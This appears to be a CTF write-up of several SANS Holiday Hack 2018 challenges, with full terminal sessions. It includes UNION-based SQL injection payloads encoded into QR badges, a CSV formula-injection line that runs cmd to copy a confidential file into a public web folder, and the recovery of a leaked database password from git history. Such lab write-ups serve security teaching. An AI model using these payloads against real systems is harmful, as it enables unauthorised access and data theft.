elf@82206de9d85d:~$ curl --help | grep -i http2
--http2 Use HTTP 2 (H)
--http2-prior-knowledge Use HTTP 2 without HTTP/1.1 Upgrade (H)
elf@82206de9d85d:~$ curl --http2 --http2-prior-knowledge http://localhost:8080
<html>
<head>
<title>Candy Striper Turner-On'er</title>
</head>
<body>
<p>To turn the machine on, simply POST to this URL with parameter "status=on"
</body>
</html>
elf@82206de9d85d:~$ curl --http2 --http2-prior-knowledge --data "status=on" http://localhost:8080
<html>
<head>
<title>Candy Striper Turner-On'er</title>
</head>
<body>
<p>To turn the machine on, simply POST to this URL with parameter "status=on"
okkd,
OXXXXX,
oXXXXXXo
;XXXXXXX;
;KXXXXXXx
oXXXXXXXO
.lKXXXXXXX0.
'''''' .'''''' .'''''' .:::; ':okKXXXXXXXX0Oxcooddool,
'MMMMMO',,,,,;WMMMMM0',,,,,;WMMMMMK',,,,,,occccoOXXXXXXXXXXXXXxxXXXXXXXXXXX.
'MMMMN;,,,,,'0MMMMMW;,,,,,'OMMMMMW:,,,,,'kxcccc0XXXXXXXXXXXXXXxx0KKKKK000d;
'MMMMl,,,,,,oMMMMMMo,,,,,,lMMMMMMd,,,,,,cMxcccc0XXXXXXXXXXXXXXOdkO000KKKKK0x.
'MMMO',,,,,;WMMMMMO',,,,,,NMMMMMK',,,,,,XMxcccc0XXXXXXXXXXXXXXxxXXXXXXXXXXXX:
'MMN,,,,,,'OMMMMMW;,,,,,'kMMMMMW;,,,,,'xMMxcccc0XXXXXXXXXXXXKkkxxO00000OOx;.
'MMl,,,,,,lMMMMMMo,,,,,,cMMMMMMd,,,,,,:MMMxcccc0XXXXXXXXXXKOOkd0XXXXXXXXXXO.
'M0',,,,,;WMMMMM0',,,,,,NMMMMMK,,,,,,,XMMMxcccckXXXXXXXXXX0KXKxOKKKXXXXXXXk.
.c.......'cccccc.......'cccccc.......'cccc:ccc: .c0XXXXXXXXXX0xO0000000Oc
;xKXXXXXXX0xKXXXXXXXXK.
..,:ccllc:cccccc:'
Unencrypted 2.0? He's such a silly guy.
That's the kind of stunt that makes my OWASP friends all cry.
Truth be told: most major sites are speaking 2.0;
TLS connections are in place when they do so.
-Holly Evergreen
<p>Congratulations! You've won and have successfully completed this challenge.
<p>POSTing data in HTTP/2.0.
</body>
</html>
6) Badge Manipulation
Difficulty: 3
Bypass the authentication mechanism associated with the room near Pepper Minstix. A sample employee badge is available. What is the access control number revealed by the door authentication panel? For hints on achieving this objective, please visit Pepper Minstix and help her with the Yule Log Analysis Cranberry Pi terminal challenge.
Scan-o-Matic
Using Alabaster’s badge, access gets rejected with the message “Authorized User Account Has Been Disabled!”. The QR code on alabaster’s badge decoded to a BASE64 encoded string which didn’t reveal any useful information. Crafting a QR code with the content a’ or ‘1’=’1 resulted in the same response. This indicates that the application is vulnerable to SQL injection attacks.
In a second step, a QR code with the content a’ union all select ‘HomeSen’, 1; — – was generated and submitted. This yielded the following error message:
EXCEPTION AT (LINE 96 "user_info = query("SELECT first_name,last_name,enabled FROM employees WHERE authorized = 1 AND uid = '{}' LIMIT 1".format(uid))"): (1222, u'The used SELECT statements have a different number of columns')
Knowing the full SQL statement that gets executed, a QR code with UNION-based SQLi payload was generated that returned an active account record: a’ union all select ‘HomeSen’, ‘HomeSen’, 1; — –
Terminal: Yule Log Analysis
Password spraying can easily be detected by the sheer amount of failed logins on many usernames from a single source, eventually followed by a few (or just a single) successful login. Thus, utilizing the provided evtx_dump.py and several GNU coreutils, one can easily find the attacker’s IP address:
elf@9d47349d0d45:~$ python evtx_dump.py ho-ho-no.evtx | grep -A40 '4625' | grep 'IpAddress' | cut -d '>' -f 2 | cut -d '<' -f 1 | sort | uniq -c
1 10.158.210.210
211 172.31.254.101
Querying the event logs for successful logins from that IP yields only one (potentially) compromised account:
elf@9d47349d0d45:~$ python evtx_dump.py ho-ho-no.evtx | grep -A40 '4624' | grep -A10 -B33 '172.31.254.101' | grep 'TargetUserName'
<Data Name="TargetUserName">minty.candycane</Data>
<Data Name="TargetUserName">minty.candycane</Data>
As always, a complete rundown of the command line can be found below:
.;:cccckkxdc;.
.o0xc;,,,,,XMMMMMkc:,.
lXMMMX;,,,,,,XMMMMK,,coddcclOkxoc,.
lk:oNMMMX;,,,,,XMMWN00o:,,,,,:MMMMMMoc;'
.0l,,,,dNMMX;,,,,XNNWMMMk,,,,,,:MMMMMx,,,,:;.
.K;,,,,,,,xWMX;,,;Kx:kWMMMk,,,,,:MMMM0,,,,,,,:k'
.XklooooddolckWN:l0:,,,;kWMMO,,,,:MMMN;,,,,,cOWMMd
;oooc;,,,cMMMMMMxkO0,,,,,,,:OMM0,,,:MMWc,,,,lKMMMMWKo
;OMMWl,,,,,,cMMMMMO,,,:cc,,,,,,,:0M0,,:MMd,,,oXMMWKxc,,,c
cOdXMMMWl,,,,,cMMMMX,,,,,,,:xxo:,,,,cK0,:MO,;xNWKxc,,,,,,,:.
.0l,,,oNMMWl,,,,cMMMW:,,,,,,dXMWNMWXOdc;lxcX:xOxc,,,,,,,,,,,,:
,0;,,,,,,dNMWo,,,cMMMl,,,,;xNMMMMW0kkkkkkddxdddxxxxxxxxxxxxxxxo
.Wl,,,,,,,,,dWMo,,cMMx,,,:OWMMW0xc,:c,,:dOkcK:kc:ok0NMMMMMMMMMMd
KMMWXOdl;,,,,;xWd,cM0,,l0MW0dc,,,,,,lkWWk:,OW,:XO:,,,;ldOXWMMMM'
'MMMMMMMMMN0ko:,;kdcN;o00dc,,,,,,,,,,,0x;,,oMW,,;XWk;,,,,,,,:okk
cNKKKKKKKKKKKKKKkoodxxdccccccccccccccco,,,:WMW,,,;XMWk;,,,,,,,l
:x,,,,,,,,,,,,,cdkoOldldOKWMMMMMMMMMMMx,,,XMMW,,,,;XMMWx,,,,;c
.K,,,,,,,,,cd0WKl,xN,oXo,,,:ok0NMMMMMMc,,OMMMW,,,,,;KMMMNd;l'
dl,,,,cx0WMM0c,,lMN,,oMXl,,,,,,;ldOX0',dMMMMW,,,,,,;KMMMK;
OoxKWMMMWk:,,,;NMN,,,lWMKc,,,,,,,,ldclWMMMMW,,,,,,:oOl.
OMMMMNx;,,,,,KMMN,,,,lWMM0c,,,,,l. .,cdkO00ccc:;,.
cWXo,,,,,,,kMMMN,,,,,cWMMM0:,c:
.Kc,,,,,,:MMMMN,,,,,,dMMMMWk'
I am Pepper Minstix, and I'm looking for your help.
Bad guys have us tangled up in pepperminty kelp!
"Password spraying" is to blame for this our grinchly fate.
Should we blame our password policies which users hate?
Here you'll find a web log filled with failure and success.
One successful login there requires your redress.
Can you help us figure out which user was attacked?
Tell us who fell victim, and please handle this with tact...
Submit the compromised webmail username to
runtoanswer to complete this challenge.
elf@9d47349d0d45:~$ ls
evtx_dump.py ho-ho-no.evtx runtoanswer
elf@9d47349d0d45:~$ python evtx_dump.py ho-ho-no.evtx | tail -n 50
<Data Name="ElevatedToken">%%1842</Data>
</EventData>
</Event>
<Event xmlns="http://schemas.microsoft.com/win/2004/08/events/event"><System><Provider Name="Microsoft-Windows-Security-Auditing" Guid="{54849625-5478-4994-a5ba-3e3b0328c30d}"></Provider>
<EventID Qualifiers="">4624</EventID>
<Version>2</Version>
<Level>0</Level>
<Task>12544</Task>
<Opcode>0</Opcode>
<Keywords>0x8020000000000000</Keywords>
<TimeCreated SystemTime="2018-09-10 13:25:49.397736"></TimeCreated>
<EventRecordID>245492</EventRecordID>
<Correlation ActivityID="{71a9b66f-4900-0001-a8b6-a9710049d401}" RelatedActivityID=""></Correlation>
<Execution ProcessID="664" ThreadID="712"></Execution>
<Channel>Security</Channel>
<Computer>WIN-KCON-EXCH16.EM.KRINGLECON.COM</Computer>
<Security UserID=""></Security>
</System>
<EventData><Data Name="SubjectUserSid">S-1-0-0</Data>
<Data Name="SubjectUserName">-</Data>
<Data Name="SubjectDomainName">-</Data>
<Data Name="SubjectLogonId">0x0000000000000000</Data>
<Data Name="TargetUserSid">S-1-5-21-25059752-1411454016-2901770228-1134</Data>
<Data Name="TargetUserName">HealthMailboxbe58608</Data>
<Data Name="TargetDomainName">EM.KRINGLECON.COM</Data>
<Data Name="TargetLogonId">0x000000000179476b</Data>
<Data Name="LogonType">3</Data>
<Data Name="LogonProcessName">Kerberos</Data>
<Data Name="AuthenticationPackageName">Kerberos</Data>
<Data Name="WorkstationName">-</Data>
<Data Name="LogonGuid">{66b54d86-4302-a414-4b44-b4078e2c002e}</Data>
<Data Name="TransmittedServices">-</Data>
<Data Name="LmPackageName">-</Data>
<Data Name="KeyLength">0</Data>
<Data Name="ProcessId">0x0000000000000000</Data>
<Data Name="ProcessName">-</Data>
<Data Name="IpAddress">-</Data>
<Data Name="IpPort">-</Data>
<Data Name="ImpersonationLevel">%%1840</Data>
<Data Name="RestrictedAdminMode">-</Data>
<Data Name="TargetOutboundUserName">-</Data>
<Data Name="TargetOutboundDomainName">-</Data>
<Data Name="VirtualAccount">%%1843</Data>
<Data Name="TargetLinkedLogonId">0x0000000000000000</Data>
<Data Name="ElevatedToken">%%1842</Data>
</EventData>
</Event>
</Events>
elf@9d47349d0d45:~$ python evtx_dump.py ho-ho-no.evtx | grep -A40 '4625' | grep 'IpAddress' | cut -d '>' -f 2 | cut -d '<' -f 1 | sort | uniq -c
1 10.158.210.210
211 172.31.254.101
elf@9d47349d0d45:~$ python evtx_dump.py ho-ho-no.evtx | grep -A40 '4624' | grep -A10 -B33 '172.31.254.101'
--
<EventID Qualifiers="">4624</EventID>
<Version>2</Version>
<Level>0</Level>
<Task>12544</Task>
<Opcode>0</Opcode>
<Keywords>0x8020000000000000</Keywords>
<TimeCreated SystemTime="2018-09-10 13:05:03.702278"></TimeCreated>
<EventRecordID>240171</EventRecordID>
<Correlation ActivityID="{71a9b66f-4900-0001-a8b6-a9710049d401}" RelatedActivityID=""></Correlation>
<Execution ProcessID="664" ThreadID="15576"></Execution>
<Channel>Security</Channel>
<Computer>WIN-KCON-EXCH16.EM.KRINGLECON.COM</Computer>
<Security UserID=""></Security>
</System>
<EventData><Data Name="SubjectUserSid">S-1-5-18</Data>
<Data Name="SubjectUserName">WIN-KCON-EXCH16$</Data>
<Data Name="SubjectDomainName">EM.KRINGLECON</Data>
<Data Name="SubjectLogonId">0x00000000000003e7</Data>
<Data Name="TargetUserSid">S-1-5-21-25059752-1411454016-2901770228-1156</Data>
<Data Name="TargetUserName">minty.candycane</Data>
<Data Name="TargetDomainName">EM.KRINGLECON</Data>
<Data Name="TargetLogonId">0x000000000114a4fe</Data>
<Data Name="LogonType">8</Data>
<Data Name="LogonProcessName">Advapi </Data>
<Data Name="AuthenticationPackageName">Negotiate</Data>
<Data Name="WorkstationName">WIN-KCON-EXCH16</Data>
<Data Name="LogonGuid">{d1a830e3-d804-588d-aea1-48b8610c3cc1}</Data>
<Data Name="TransmittedServices">-</Data>
<Data Name="LmPackageName">-</Data>
<Data Name="KeyLength">0</Data>
<Data Name="ProcessId">0x00000000000019f0</Data>
<Data Name="ProcessName">C:\Windows\System32\inetsrv\w3wp.exe</Data>
<Data Name="IpAddress">172.31.254.101</Data>
<Data Name="IpPort">38283</Data>
<Data Name="ImpersonationLevel">%%1833</Data>
<Data Name="RestrictedAdminMode">-</Data>
<Data Name="TargetOutboundUserName">-</Data>
<Data Name="TargetOutboundDomainName">-</Data>
<Data Name="VirtualAccount">%%1843</Data>
<Data Name="TargetLinkedLogonId">0x0000000000000000</Data>
<Data Name="ElevatedToken">%%1842</Data>
--
<EventID Qualifiers="">4624</EventID>
--
--
<EventID Qualifiers="">4624</EventID>
<Version>2</Version>
<Level>0</Level>
<Task>12544</Task>
<Opcode>0</Opcode>
<Keywords>0x8020000000000000</Keywords>
<TimeCreated SystemTime="2018-09-10 13:07:02.556292"></TimeCreated>
<EventRecordID>240573</EventRecordID>
<Correlation ActivityID="{71a9b66f-4900-0001-a8b6-a9710049d401}" RelatedActivityID=""></Correlation>
<Execution ProcessID="664" ThreadID="12152"></Execution>
<Channel>Security</Channel>
<Computer>WIN-KCON-EXCH16.EM.KRINGLECON.COM</Computer>
<Security UserID=""></Security>
</System>
<EventData><Data Name="SubjectUserSid">S-1-5-18</Data>
<Data Name="SubjectUserName">WIN-KCON-EXCH16$</Data>
<Data Name="SubjectDomainName">EM.KRINGLECON</Data>
<Data Name="SubjectLogonId">0x00000000000003e7</Data>
<Data Name="TargetUserSid">S-1-5-21-25059752-1411454016-2901770228-1156</Data>
<Data Name="TargetUserName">minty.candycane</Data>
<Data Name="TargetDomainName">EM.KRINGLECON</Data>
<Data Name="TargetLogonId">0x0000000001175cd9</Data>
<Data Name="LogonType">8</Data>
<Data Name="LogonProcessName">Advapi </Data>
<Data Name="AuthenticationPackageName">Negotiate</Data>
<Data Name="WorkstationName">WIN-KCON-EXCH16</Data>
<Data Name="LogonGuid">{5b50bc0d-2707-1b79-e2cb-6e5872170f2d}</Data>
<Data Name="TransmittedServices">-</Data>
<Data Name="LmPackageName">-</Data>
<Data Name="KeyLength">0</Data>
<Data Name="ProcessId">0x00000000000019f0</Data>
<Data Name="ProcessName">C:\Windows\System32\inetsrv\w3wp.exe</Data>
<Data Name="IpAddress">172.31.254.101</Data>
<Data Name="IpPort">40762</Data>
<Data Name="ImpersonationLevel">%%1833</Data>
<Data Name="RestrictedAdminMode">-</Data>
<Data Name="TargetOutboundUserName">-</Data>
<Data Name="TargetOutboundDomainName">-</Data>
<Data Name="VirtualAccount">%%1843</Data>
<Data Name="TargetLinkedLogonId">0x0000000000000000</Data>
<Data Name="ElevatedToken">%%1842</Data>
--
<EventID Qualifiers="">4624</EventID>
elf@9d47349d0d45:~$ python evtx_dump.py ho-ho-no.evtx | grep -A40 '4624' | grep -A10 -B33 '172.31.254.101' | grep 'TargetUserName'
<Data Name="TargetUserName">minty.candycane</Data>
<Data Name="TargetUserName">minty.candycane</Data>
elf@9d47349d0d45:~$ ./runtoanswer
Loading, please wait......
Whose account was successfully accessed by the attacker's password spray? minty.candycane
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMNMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMkl0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMXO0NMxl0MXOONMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMxlllooldollo0MMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMW0OKWMMNKkollldOKWMMNKOKMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMXollox0NMMMxlOMMMXOdllldWMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMWXOdlllokKxlk0xollox0NMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMNkkXMMMMMMMMMMMWKkollllllldkKWMMMMMMMMMMM0kOWMMMMMMMMMMMM
MMMMMMWKXMMMkllxMMMMMMMMMMMMMMMXOold0NMMMMMMMMMMMMMMMollKMMWKKWMMMMMM
MMMMMMdllKMMkllxMMMMMMMMMMMMN0KNMxl0MN00WMMMMMMMMMMMMollKMMOllkMMMMMM
Mkox0XollKMMkllxMMMMMMMMMMMMxllldoldolllOMMMMMMMMMMMMollKMMkllxXOdl0M
MMN0dllll0MMkllxMMMMMMMMMMMMMN0xolllokKWMMMMMMMMMMMMMollKMMkllllx0NMM
MW0xolllolxOxllxMMNxdOMMMMMWMMMMWxlOMMMMWWMMMMWkdkWMMollOOdlolllokKMM
M0lldkKWMNklllldNMKlloMMMNolok0NMxl0MX0xolxMMMXlllNMXolllo0NMNKkoloXM
MMWWMMWXOdlllokdldxlloWMMXllllllooloollllllWMMXlllxolxxolllx0NMMMNWMM
MMMN0kolllx0NMMW0ollll0NMKlloN0kolllokKKlllWMXklllldKMMWXOdlllokKWMMM
MMOllldOKWMMMMkollox0OdldxlloMMMMxlOMMMNlllxoox0Oxlllo0MMMMWKkolllKMM
MMW0KNMMMMMMMMKkOXWMMMW0olllo0NMMxl0MWXklllldXMMMMWKkkXMMMMMMMMX0KWMM
MMMMMMMMMMMMMMMMMMMW0xollox0Odlokdlxxoox00xlllokKWMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMWollllOWMMMMNklllloOWMMMMNxllllxMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMN0xlllokK0xookdlxxookK0xollokKWMMMMMMMMMMMMMMMMMMM
MMWKKWMMMMMMMMKk0XMMMMW0ollloOXMMxl0MWKklllldKWMMMWXOOXMMMMMMMMNKKMMM
MMkllldOXWMMMMklllok00xoodlloMMMMxlOMMMNlllxook00xollo0MMMMWKkdlllKMM
MMMN0xollox0NMMW0ollllONMKlloNKkollldOKKlllWMXklllldKWMMX0xlllok0NMMM
MMWWMMWKkollldkxlodlloWMMXllllllooloollllllWMMXlllxooxkollldOXMMMWMMM
M0lldOXWMNklllldNMKlloMMMNolox0XMxl0WXOxlldMMMXlllNMXolllo0WMWKkdloXM
MW0xlllodldOxllxMMNxdOMMMMMNMMMMMxlOMMMMWNMMMMWxdxWMMollkkoldlllokKWM
MMN0xllll0MMkllxMMMMMMMMMMMMMNKkolllokKWMMMMMMMMMMMMMollKMMkllllkKWMM
MkldOXollKMMkllxMMMMMMMMMMMMxlllooloolll0MMMMMMMMMMMMollKMMkllxKkol0M
MWWMMMdllKMMkllxMMMMMMMMMMMMXO0XMxl0WXOONMMMMMMMMMMMMollKMMOllkMMMWMM
MMMMMMNKKMMMkllxMMMMMMMMMMMMMMMN0oldKWMMMMMMMMMMMMMMMollKMMWKKWMMMMMM
MMMMMMMMMMMMXkxXMMMMMMMMMMMWKkollllllldOXMMMMMMMMMMMM0xkWMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMX0xlllok0xlk0xollox0NMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMXollldOXMMMxlOMMWXOdllldWMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMW0OKWMMWKkollldOXWMMN0kKMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMklllooloollo0MMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMXOOXMxl0WKOONMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMkl0MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMWXMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
Silly Minty Candycane, well this is what she gets.
"Winter2018" isn't for The Internets.
Passwords formed with season-year are on the hackers' list.
Maybe we should look at guidance published by the NIST?
Congratulations!
elf@9d47349d0d45:~$
7) HR Incident Response
Difficulty: 4
Santa uses
an Elf Resources website to look for talented information security
professionals. Gain access to the website and fetch the document C:\candidate_evaluation.docx
. Which terrorist organization is secretly
supported by the job applicant whose name begins with “K.” For hints
on achieving this objective, please visit Sparkle Redberry and help her with
the Dev Ops Fail Cranberry Pi terminal challenge.
Elf Resources website
Browsing to the website, we are presented with a simple HTML form that also allows uploading CSV files:
After submitting the form, the following message is displayed:
Trying to directly access the candidate_evaluation.docx results in the following error message:
Since the CSV gets reviewed by an elf, it might be possible to craft a CSV file that, when opened with Microsoft Excel (which is more than likely, since they then add the applicant to a .docx file, and Excel automatically associates CSV files upon installation) invokes a command prompt that copies the secret file over to C:\careerportal\resources\public\, effectively making it available for download from the URL https://careers.kringlecastle.com/public/candidate_evaluation.docx:
Uploading a CSV file with the following content allowed downloading the secret Word document:
=cmd|'/c copy C:\candidate_evaluation.docx C:\careerportal\resources\public\'!A1
Investigating the document, we can find out that “Krampus” seems to be linked to the cyber terrorist organization “Fancy Beaver”.
Terminal: Dev Ops Fail
More often than not, developers think it is a good idea to put credentials into config files which then get added (and commited/pushed) to source control systems. Examining the provided Git repository’s history via git log reveals the following commit message:
commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Thu Nov 8 21:11:03 2018 -0500
Per @tcoalbox admonishment, removed username/password from config.js, default settings in config.js.def need to be updated before use
Checking the commit’s changes via git show 60a2ffea7520ee980a5fc60177ff4d0633f2516b reveals the stored (and later removed) password:
commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Thu Nov 8 21:11:03 2018 -0500
Per @tcoalbox admonishment, removed username/password from config.js, default settings in conf
ig.js.def need to be updated before use
diff --git a/server/config/config.js b/server/config/config.js
deleted file mode 100644
index 25be269..0000000
--- a/server/config/config.js
+++ /dev/null
@@ -1,4 +0,0 @@
-// Database URL
-module.exports = {
- 'url' : 'mongodb://sredberry:twinkletwinkletwinkle@127.0.0.1:27017/node-api'
-};
diff --git a/server/config/config.js.def b/server/config/config.js.def
new file mode 100644
index 0000000..740eba5
--- /dev/null
+++ b/server/config/config.js.def
@@ -0,0 +1,4 @@
+// Database URL
+module.exports = {
+ 'url' : 'mongodb://username:password@127.0.0.1:27017/node-api'
+};
Instead of trying to revert the lapse with a new commit, previous commits should have been deleted from the local repository (and if necessary, also from the server via a subsequent force-push).
Following, is a complete listing of the terminal’s output:
.0.
.:llOXKllc.
.OXXXK,
'0l'cOc
..';'..
.';::::::'.
.':::::::::::::,.
.'::loc::::::::::::::,.
.'::::oMMNc::::::::::::::::,.
.,;;,,,,:dxl:::::::,,,:::;,,,,,,.
.,' ..;:::::::::::;,;::::,.
.';::::::::::::::::::::dOxc,.
.';:::::::::okd::::::::::cXMWd:::,.
.';:::::::::::cNMMo:::::::::::lc:::::::,.
.'::::::::::::::::col::::::::::::;:::::::::::,.
.;:::,,,:::::::::::::::::;,,,:::::'.
.'::::::;;;:::::::::::dko:::::;::::::::;.
.,::::::::::::::::::::::lWMWc::::::::::::::::;.
..:00:...;::::loc:::::::::coc::::::::::::'.;;.....
:NNl.,:::::xMMX:::::::::::::::::::::::::;,,.
.,::::::::cxxl::::,,,:::::::::::::::::::::;.
.,:::::::c:::::::::::;;;:::::::;;:::::kNXd::::::;.
.,::::::::cKMNo::::::::::::::::::;,,;::::xKKo:::::::::;.
.'''''',:::::x0Oc:::::::::oOOo:::::::::::::::::::::;'''''''.
.,:::::::::::::::::::kWWk::::::::::::::ldl:::::;'.
.,::;,,::::::::::::::::::::::::::::::::::lMMMl:::::::;'.
.,:::::;,;:::::::::::::::::::::::::::::::::::ldl::::::::::::'.
.,::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::'.
..;;;;;;;;'.
.';;;;;;;;;;;;'.
.';;;;;;;;;;;;;;;;;;'.
........................
Coalbox again, and I've got one more ask.
Sparkle Q. Redberry has fumbled a task.
Git pull and merging, she did all the day;
With all this gitting, some creds got away.
Urging - I scolded, "Don't put creds in git!"
She said, "Don't worry - you're having a fit.
If I did drop them then surely I could,
Upload some new code done up as one should."
Though I would like to believe this here elf,
I'm worried we've put some creds on a shelf.
Any who's curious might find our "oops,"
Please find it fast before some other snoops!
Find Sparkle's password, then run the runtoanswer tool.
elf@311532706fe9:~$ ls
kcconfmgmt runtoanswer
elf@311532706fe9:~$ cd kcconfmgmt/
elf@311532706fe9:~/kcconfmgmt$ ls -la
total 72
drwxr-xr-x 1 elf elf 4096 Nov 14 09:48 .
drwxr-xr-x 1 elf elf 4096 Dec 14 16:30 ..
drwxr-xr-x 1 elf elf 4096 Nov 14 09:48 .git
-rw-r--r-- 1 elf elf 66 Nov 1 15:30 README.md
-rw-r--r-- 1 elf elf 1074 Nov 3 20:28 app.js
-rw-r--r-- 1 elf elf 31003 Nov 14 09:46 package-lock.json
-rw-r--r-- 1 elf elf 537 Nov 14 09:48 package.json
drwxr-xr-x 1 elf elf 4096 Nov 2 15:05 public
drwxr-xr-x 1 elf elf 4096 Nov 2 15:05 routes
drwxr-xr-x 1 elf elf 4096 Nov 14 09:47 server
drwxr-xr-x 1 elf elf 4096 Nov 2 15:05 views
elf@311532706fe9:~/kcconfmgmt$ git log
commit 7b93f4be7e7b50b044739e02fa7c75b8fad32366
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Wed Nov 14 04:46:12 2018 -0500
Add palceholder index, login, profile, signup pages while I CONTINUE TO WAIT FOR UX
commit 20c7def24307589194b7dc05cd852552c36b2b2a
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Tue Nov 13 10:18:08 2018 -0500
Add Bower setup for front-end
commit 604e434713b4659d7f10b91ab6d20dfa58030c24
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Mon Nov 12 13:04:08 2018 -0500
Add temp placeholders for login, profile, signup pages -- WAITING ON YOU UX TEAM
commit 31f4eaec30df0f41fc700532d7bc2f6aac94deb8
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Mon Nov 12 00:51:23 2018 -0500
Add routes for login, logout, signup, isLoggedIn, profile access
commit ac32750bf6a4979bf37108f4438bc9695189ce14
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Sun Nov 11 15:30:15 2018 -0500
Update index route for passport
commit d84b728c7d9cf7f9bafc5efb9978cd0e3122283d
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Sat Nov 10 19:51:52 2018 -0500
Add user model for authentication, bcrypt password storage
commit c27135005753f6dde3511a7e70eb27f92f67393f
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Sat Nov 10 08:11:40 2018 -0500
Add passport config
commit a6449287cf9ed9151d94fb747f6904158c2c4d71
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Fri Nov 9 14:08:04 2018 -0500
Add passport middleware for user auth
commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Thu Nov 8 21:11:03 2018 -0500
Per @tcoalbox admonishment, removed username/password from config.js, default settings in config.js.def need to be updated before use
commit b2376f4a93ca1889ba7d947c2d14be9a5d138802
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Thu Nov 8 13:25:32 2018 -0500
Add passport module
commit d99d465d5b9711d51d7b455584af2b417688c267
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Wed Nov 7 16:57:41 2018 -0500
Correct typos, runs now! Change port for MongoDB connection
commit 68405b8a6dcaed07c20927cee1fb6d6c59b62cc3
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Tue Nov 6 17:26:39 2018 -0500
Add initial server config
commit 69cc84998e57f4fc6aca17f2a5cb9caff53f3fd3
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Mon Nov 5 20:17:51 2018 -0500
Added speakers.js data model
commit c3ee078d17a5309fbe18426c048a9a12b495f39f
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Mon Nov 5 01:27:11 2018 -0500
File reorganization under server/
commit b4d783d7a7f8ba9bb3aee72aeba43ba9bb99c8b0
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Sun Nov 4 04:30:39 2018 -0500
Module cleanup
commit 9c06c0441c95323e8270f6a219439daba59017f5
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Fri Nov 2 11:05:49 2018 -0400
Added Express EJS setup (go away, Jade)
commit 1f9bbf6d2cee75a9dd6bb483edf940f9bb71035f
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Thu Nov 1 11:30:50 2018 -0400
Initial checkin
elf@311532706fe9:~/kcconfmgmt$ git show 60a2ffea7520ee980a5fc60177ff4d0633f2516b
commit 60a2ffea7520ee980a5fc60177ff4d0633f2516b
Author: Sparkle Redberry <sredberry@kringlecon.com>
Date: Thu Nov 8 21:11:03 2018 -0500
Per @tcoalbox admonishment, removed username/password from config.js, default settings in conf
ig.js.def need to be updated before use
diff --git a/server/config/config.js b/server/config/config.js
deleted file mode 100644
index 25be269..0000000
--- a/server/config/config.js
+++ /dev/null
@@ -1,4 +0,0 @@
-// Database URL
-module.exports = {
- 'url' : 'mongodb://sredberry:twinkletwinkletwinkle@127.0.0.1:27017/node-api'
-};
diff --git a/server/config/config.js.def b/server/config/config.js.def
new file mode 100644
index 0000000..740eba5
--- /dev/null
+++ b/server/config/config.js.def
@@ -0,0 +1,4 @@
+// Database URL
+module.exports = {
+ 'url' : 'mongodb://username:password@127.0.0.1:27017/node-api'
+};
elf@311532706fe9:~/kcconfmgmt$ cd ..
elf@311532706fe9:~$ ./runtoanswer
Loading, please wait......
Enter Sparkle Redberry's password: twinkletwinkletwinkle
This ain't "I told you so" time, but it's true:
I shake my head at the goofs we go through.
Everyone knows that the gits aren't the place;
Store your credentials in some safer space.
Congratulations!
elf@311532706fe9:~$
8) Network Traffic Forensics
Difficulty: 4
Santa has introduced a web-based packet capture and analysis tool at https://packalyzer.kringlecastle.com to support the elves and their information security work. Using the system, access and decrypt HTTP/2 network activity. What is the name of the song described in the document sent from Holly Evergreen to Alabaster Snowball? For hints on achieving this objective, please visit SugarPlum Mary and help her with the Python Escape from LACranberry Pi terminal challenge.
Packalyzer
This challenge gave me more of a headache than probably was intended to. The website allows users to log in and create new accounts. Creating an account where the username contains upper-case letter (like, eg.: HomeSen) allows for successful registration, but doesn’t allow logging with the newly created credentials. Only after being half-way through the challenge, when it came to somehow get the application to record network traffic (after already having the necessary files for retrieving and decrypting the PCAPs), I finally managed to register an account that I could log into. Later, I learned that the issue had only been the upper-case letters in my registered username :/
After solving the “Python Escape from LA” CranberryPi challenge (see below), SugarPlum Mary provides us with some useful hints:
